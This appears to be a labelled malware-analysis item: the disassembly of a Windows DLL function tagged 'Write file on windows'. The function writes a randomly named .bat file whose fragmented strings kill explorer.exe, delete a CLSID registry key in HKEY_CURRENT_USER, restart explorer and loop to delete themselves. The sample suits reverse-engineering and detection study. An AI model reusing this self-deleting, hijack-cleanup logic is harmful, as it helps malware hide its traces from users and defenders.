Function at 0x180005100
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x180045068]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov rbx, rdx
xor r15d, r15d
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], r15b
lea rcx, [rsp + 0x48]
call fcn.18000e980
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rcx
lea r9, str._s_lu.bat
mov edx, 0x104
mov r8, 0xffffffffffffffff
lea rcx, [rbp + 0x50]
call fcn.18000a2f0
inc edi
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
je 0x180005164
movdqa xmm0, xmmword [0x180030ab0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x180030a90]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x180030b10]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x180030aa0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x180030a70]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x180030a80]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x180030ad0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x180030b00]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [str.orer.exe_r_nstart____s__r_nif_exist_C2796011_81BA_4148_8FCA_C664324elete__HKEY_CURReClassesCLSID_echo_off_r_nreg_dexplorer.exe_r_nti5113F___F_r_ntask__s__goto_d_r_ndelmeout_5_r_n:d_r_ndelkill__F__IM_explENT_USERSoftwar]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x180030ac0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x180030af0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x180030a60]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [0x180030ae0]
movdqa xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x40], 0x20462f20
mov dword [rbp + 0x44], 0x22732522
mov byte [rbp + 0x48], 0
lea rax, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x1800052a0
lea rdx, [rbp + 0x50]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x1800052b4
add rcx, rax
mov rax, qword [rbx + 0x10]
add rax, 0xfffffffffffffffd
lea r14, [rcx + rax*2]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1800052f3
mov rax, qword [rbx]
mov rbx, rax
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x70]
mov r8, 0xffffffffffffffff
mov rdx, r14
mov rcx, rdi
call fcn.18000a2f0
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000534a
cmp dword [rsp + 0x40], 0
je 0x18000534a
lea rcx, [rbp + 0x50]
call fcn.18000ea10
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1800053a1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000539c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800053cd
call fcn.180010918
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.1800110b0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.180016e8c
int3